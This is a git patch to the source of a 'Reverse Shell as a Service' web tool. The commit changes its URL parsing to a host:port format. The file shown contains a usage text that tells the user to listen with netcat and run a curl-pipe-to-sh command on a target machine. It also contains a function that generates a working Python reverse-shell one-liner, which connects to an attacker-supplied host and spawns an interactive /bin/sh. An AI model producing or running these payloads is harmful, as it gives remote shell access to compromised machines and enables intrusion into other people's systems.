From 3335aa737dbc75282c1cfb8367a1a870793ffcd0 Mon Sep 17 00:00:00 2001 From: Luke Childs Date: Wed, 13 Sep 2017 20:48:04 +0100 Subject: [PATCH] Use colon seperator for ip:port --- src/index.js | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/index.js b/src/index.js index bf6c6e4..34d4306 100644 --- a/src/index.js +++ b/src/index.js @@ -6,15 +6,15 @@ const usage = `# Reverse Shell as a Service # 1. On your machine, open up a port and listen to it with netcat # nc -l 1337 # -# 2. On the target machine, pipe the output of https://shell.now.sh/yourhostnameorip/port into sh -# curl https://shell.now.sh/192.168.0.69/1337 | sh +# 2. On the target machine, pipe the output of https://shell.now.sh/yourhostnameorip:port into sh +# curl https://shell.now.sh/192.168.0.69:1337 | sh # # 3. Don't be a dick`; const generatePayload = (host, port) => `python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("${host}",${port})); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'`; const reverseShell = req => { - const [, host, port] = req.url.split('/'); + const [host, port] = req.url.substr(1).split(':'); return (host && port) ? generatePayload(host, port) : usage; };